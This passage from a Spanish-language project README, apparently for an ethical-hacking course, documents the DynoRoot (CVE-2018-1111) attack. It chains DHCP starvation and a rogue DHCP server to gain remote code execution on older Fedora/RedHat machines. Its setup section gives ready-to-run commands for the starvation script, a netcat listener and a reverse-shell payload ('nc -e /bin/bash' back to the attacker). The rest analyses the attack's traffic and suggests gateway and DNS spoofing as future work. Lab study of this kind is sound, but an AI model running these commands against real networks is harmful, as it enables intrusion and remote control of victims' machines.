sudo su && cd && conda activate dynoroot
python FEP3370-advanced-ethical-hacking/starver.py \
--interface enp0s8 \
--pool-start 192.168.0.100 \
--pool-end 192.168.0.105
Usa netcat para escuchar conexiones de la víctima:``` nc -v -l -p 1337
Iniciar ataque (ejecutar como `root`):```bash
sudo su && cd && conda activate dynoroot
MY_IP=$(ip -f inet addr show enp0s8 | awk '/inet / {print $2}' | cut -d'/' -f1)
MY_MAC=$(ip link show enp0s8 | awk '/link\/ether / {print $2}' | cut -d'/' -f1)
python CVE-2018-1111/main.py \
-i enp0s8 \
-s 192.168.0.0/24 \
-g 192.168.0.1 \
-d 'victim.net' \
-m "${MY_MAC}" \
-p "nc -e /bin/bash ${MY_IP} 1337"
Limpiar concesiones DHCP antiguas y reconectar:``` sudo nmcli connection down enp0s8 sudo find /var/lib/NetworkManager -name 'dhclient-*-enp0s8.lease' -delete
sudo nmcli connection up enp0s8 nmcli
### Análisis
#### Captura de video
El siguiente [video](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/dynoroot.mp4) demuestra la ejecución del ataque siguiendo los
pasos anteriores. En el video, es posible observar:
1. El intercambio DHCP de 4 vías entre el `gateway` y el `attacker`
2. El ataque de inanición DHCP, tanto en la consola del atacante
y en los logs del servidor DHCP (note el `NACK` debido a la concesión existente del atacante)
3. El mensaje "no free leases" del `gateway` cuando la `victim` transmite un DHCP `DISCOVER`
4. Los mensajes DHCP manipulados del servidor DHCP rogue que ofrece `192.168.0.2`
5. La confirmación de que netcat ha recibido la conexión de reverse shell desde `192.168.0.2`
6. Las opciones DNS falsas recibidas por la `victim`,
es decir, dirección DNS `192.168.0.1` y dominio `victim.net`
7. La ejecución remota exitosa de comandos simples en la máquina víctima
8. El DHCP `RELEASE` enviado al final del ataque
<a href="https://youtu.be/rgjMzQ5ExyA">
<img src="https://assets.kitploit.com/production/public/readmes/23114/de82a8bbb23835dcc4d0836fe7f906d9610b860d02a0e92b903191be840a799c.gif" style="position:relative; left:50%; transform:translateX(-50%); max-width:1000px;" width="90%">
</a>
#### Análisis de tráfico
El [archivo de captura](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/attack.pcap) que contiene la traza del ataque puede analizarse en
[Wireshark](https://wiki.wireshark.org/DHCP). En la captura podemos notar:
1. El intercambio DHCP de 4 vías entre el `gateway` y el `attacker`
2. El ataque de inanición DHCP
3. El intercambio DHCP iniciado por la `victim` y completado por el `attacker`
4. Las solicitudes y respuestas ARP _who-has_ cuando la `victim` se conectó a la sesión netcat
en el `attacker`
<figure style="text-align:center">
<img src="https://assets.kitploit.com/production/public/readmes/23114/4503aa77c165c6b2b669f178171dbea60d054b88b56f5d857918fd257e2c6b94.png" style="max-width:800px;" width="90%"/>
<figcaption>Captura de paquetes del ataque, la opción DHCP relacionada con el exploit está resaltada. Las letras en las direcciones MAC significan: <code>d</code> servidor DHCP, <code>a</code> atacante, <code>f</code> víctima Fedora</figcaption>
</figure>
## Trabajo futuro
DynoRoot apunta a distribuciones antiguas de Fedora y RedHat, y ha sido parcheado en versiones más recientes.
Por lo tanto, las posibilidades de realizar este exploit en el mundo real son limitadas. Afortunadamente, los ataques DHCP
no se limitan a la ejecución remota de código: cualquier tipo de opción manipulada será aceptada por el cliente
independientemente de la presencia de la vulnerabilidad DynoRoot. La forma más sencilla de explotar este comportamiento
es anunciar una máquina controlada por el atacante como la puerta de enlace de red o como el DNS para una determinada
zona, lo que permite monitorear, inspeccionar y redirigir cualquier tráfico adicional.
Otra dirección interesante se refiere a los ataques de inanición DHCP. El ataque presentado en este proyecto
se basa en inundar el servidor DHCP con `REQUESTS` desde direcciones MAC falsificadas, lo que no es precisamente
sigiloso. Este artículo de blog explora la posibilidad de
[realizar ataques de inanición sin enviar un solo paquete DHCP](https://medium.com/bugbountywriteup/dhcp-starvation-attack-without-making-any-dhcp-requests-bef0022133c9)
sino basándose en respuestas ARP falsificadas.
## Créditos
[CVE-2018-1111](https://access.redhat.com/security/vulnerabilities/3442151) fue reportado a Red Hat
por [Felix Wilhelm](https://twitter.com/_fel1x) del equipo de seguridad de Google.
El script python para realizar el exploit es del [repositorio](https://github.com/kkirsche/CVE-2018-1111) de GitHub de [Kevin Kirsche](https://github.com/kkirsche) con ligeras modificaciones para ignorar
la propia dirección MAC del atacante.